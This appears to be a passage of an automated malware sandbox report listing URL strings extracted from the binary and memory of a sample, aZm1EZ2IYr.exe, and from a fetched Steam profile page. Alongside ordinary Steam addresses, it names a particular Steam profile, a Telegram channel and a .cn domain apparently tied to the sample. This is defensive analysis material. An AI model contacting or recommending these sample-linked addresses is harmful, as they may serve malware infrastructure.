Source: aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925949975.0000000003ADE000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/manifest.js?v=
Source: aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=bOP7RorZq4_W&l=englis
Source: aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC&
Source: aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=UuGFpt56D9L4&l=
Source: aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=engli
Source: aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/profile.js?v=KkhJqW2NGKiM&l=engli
Source: aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/promo/stickers.js?v=GfA42_x2_aub&
Source: aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw&
Source: aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/reportedcontent.js?v
Source: aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&amp
Source: aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpE
Source: aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/webui/clientcom.js?v=jq1jQyX1843y&amp
Source: aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=tuNiaSwXwcYT&l=engl
Source: 76561199786602107[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=GfSjbGKcNYaQ&l=
Source: aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=nBdvNPPzc0qI&
Source: aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_responsive.css?v=eghn9DNyCY67&
Source: aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925949975.0000000003ADE000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925949975.0000000003ADE000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925949975.0000000003ADE000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.p
Source: aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925949975.0000000003ADE000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/auth_refresh.js?v=WgUxSlKTb3W1
Source: aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=wJD9maDpDcV
Source: aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v
Source: aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.
Source: aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0&amp
Source: aZm1EZ2IYr.exe, 00000000.00000003.1925541489.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925949975.0000000003ADE000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	String found in binary or memory: https://help.steampowered.com/en/
Source: aZm1EZ2IYr.exe, 00000000.00000003.1925541489.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: aZm1EZ2IYr.exe, 00000000.00000003.1926014370.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925541489.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: aZm1EZ2IYr.exe, 00000000.00000003.1926014370.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925541489.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: aZm1EZ2IYr.exe, 00000000.00000003.1926014370.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925541489.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: aZm1EZ2IYr.exe, 00000000.00000003.1926014370.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925541489.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: aZm1EZ2IYr.exe, 00000000.00000003.1926014370.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925541489.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: aZm1EZ2IYr.exe, 00000000.00000003.1926014370.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925541489.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: aZm1EZ2IYr.exe, 00000000.00000003.1926014370.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925541489.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: aZm1EZ2IYr.exe, 00000000.00000003.1926014370.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925541489.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: aZm1EZ2IYr.exe, 00000000.00000003.1926014370.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925541489.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: aZm1EZ2IYr.exe, 00000000.00000003.1926014370.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925541489.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: aZm1EZ2IYr.exe, 00000000.00000003.1926014370.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925541489.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: 76561199786602107[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/
Source: aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925949975.0000000003ADE000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925949975.0000000003ADE000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/discussions/
Source: 76561199786602107[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199786602107
Source: aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925949975.0000000003ADE000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/market/
Source: aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: aZm1EZ2IYr.exe	String found in binary or memory: https://steamcommunity.com/profiles/76561199786602107
Source: aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1948655948.0000000003AD2000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003AD2000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/profiles/76561199786602107/badges
Source: aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1948655948.0000000003AD2000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003AD2000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/profiles/76561199786602107/inventory/
Source: aZm1EZ2IYr.exe	String found in binary or memory: https://steamcommunity.com/profiles/76561199786602107g0b4cMozilla/5.0
Source: aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1926014370.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199786602107vR.
Source: aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925949975.0000000003ADE000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/workshop/
Source: 76561199786602107[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/
Source: aZm1EZ2IYr.exe, 00000000.00000003.1926014370.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925541489.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: 76561199786602107[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/about/
Source: aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925949975.0000000003ADE000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/explore/
Source: aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925949975.0000000003ADE000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/mobile
Source: aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/news/
Source: aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925949975.0000000003ADE000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925949975.0000000003ADE000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/stats/
Source: aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925949975.0000000003ADE000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925949975.0000000003ADE000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/
Source: aZm1EZ2IYr.exe	String found in binary or memory: https://t.me/lpnjoke
Source: aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/lpnjoke4/i
Source: aZm1EZ2IYr.exe	String found in binary or memory: https://t.me/lpnjokeg0b4cMozilla/5.0
